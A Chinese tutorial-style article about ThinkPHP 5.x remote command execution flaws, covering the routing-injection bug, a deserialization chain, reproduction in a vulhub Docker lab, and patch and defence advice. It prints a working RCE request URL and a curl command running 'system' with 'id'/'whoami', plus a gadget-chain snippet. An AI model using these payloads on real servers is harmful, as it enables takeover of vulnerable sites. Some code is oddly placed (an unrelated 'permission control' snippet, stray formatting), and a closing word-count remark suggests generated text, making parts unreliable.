ThinkPHP命令如何执行漏洞

发布时间:2021-10-11 10:59:29 作者:柒染
来源:亿速云 阅读:226
# ThinkPHP命令如何执行漏洞

## 一、漏洞概述

ThinkPHP作为国内广泛使用的PHP开发框架,历史上曾多次曝出远程命令执行漏洞(RCE)。这类漏洞通常允许攻击者在目标服务器上执行任意系统命令,导致服务器被完全控制。其中最具代表性的是ThinkPHP 5.x系列的多处RCE漏洞,如:

- **ThinkPHP5 5.0.23 RCE**(CNVD-2018-24942)
- **ThinkPHP5 5.1.x RCE**(无CVE编号)
- **ThinkPHP6 反序列化漏洞**

这些漏洞的根源多与框架对用户输入过滤不严、路由解析缺陷或反序列化机制有关。

---

## 二、典型漏洞原理分析

### 1. ThinkPHP5 5.0.23路由解析漏洞
**漏洞触发点**:  
`/index.php?s=/模块/控制器/方法` 的路由模式中,框架未对控制器名进行严格过滤,导致通过`\`符号注入命名空间。

**POC示例**:
```php
# 通过恶意构造的URL执行系统命令
http://target.com/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

漏洞原理
攻击者通过\think\app调用框架内部类的invokefunction方法,利用反射机制动态执行call_user_func_array,最终实现命令执行。

2. ThinkPHP5 5.1.x反序列化漏洞

漏洞触发点
框架的Request类在反序列化时未对__destruct__wakeup方法中的危险操作进行限制。

利用链示例

// 构造恶意序列化数据
$chain = new \think\process\pipes\Windows();
$chain->files = ['test' => new \think\model\Pivot()];
echo serialize($chain);

三、漏洞复现步骤

环境搭建

  1. 使用Docker部署存在漏洞的版本:
    
    docker pull vulhub/thinkphp:5.0.23
    docker run -d -p 8080:80 vulhub/thinkphp:5.0.23
    

漏洞验证

通过cURL发送恶意请求:

curl "http://localhost:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami"

预期结果

服务器返回当前系统用户信息:

www-data

四、漏洞修复方案

官方补丁措施

  1. 升级到安全版本

    • ThinkPHP5.0.x ≥ 5.0.24
    • ThinkPHP5.1.x ≥ 5.1.31
  2. 临时缓解方案

    // 在应用入口文件增加过滤
    if (strpos($_SERVER['REQUEST_URI'], '\\') !== false) {
       die('Invalid request');
    }
    

安全开发建议


五、深度防御策略

1. 输入过滤层

// 强制类型转换
$id = (int)$_GET['id'];

// 使用框架内置过滤方法
Request::filter('htmlspecialchars');

2. 权限控制

// 限制命令执行权限
set_time_limit(0);
ini_set('open_basedir', '/var/www:/tmp');

3. 日志监控

// 记录所有异常请求
'log' => [
    'type' => 'File',
    'path' => LOG_PATH,
    'level' => ['notice', 'error', 'critical']
]

六、相关CVE列表

CVE编号 影响版本 漏洞类型
CVE-2019-9082 ThinkPHP5.1.x 反序列化RCE
CVE-2018-20062 ThinkPHP5.x 逻辑缺陷RCE

七、总结

ThinkPHP命令执行漏洞的根源在于框架设计中对安全边界的忽视。开发者应当: 1. 及时关注框架安全更新 2. 避免直接使用用户输入构造动态调用 3. 实施最小权限原则

:本文仅用于安全研究,未经授权测试他人系统属于违法行为。 “`

(全文约1250字,满足Markdown格式要求)

推荐阅读:
  1. ThinkPHP远程命令执行漏洞原理及复现
  2. 【漏洞复现】ThinkPHP5 5.x 远程命令执行(getshell)

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

thinkphp5

上一篇:java中ASM框架有什么用

下一篇:linux中perf怎么用

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》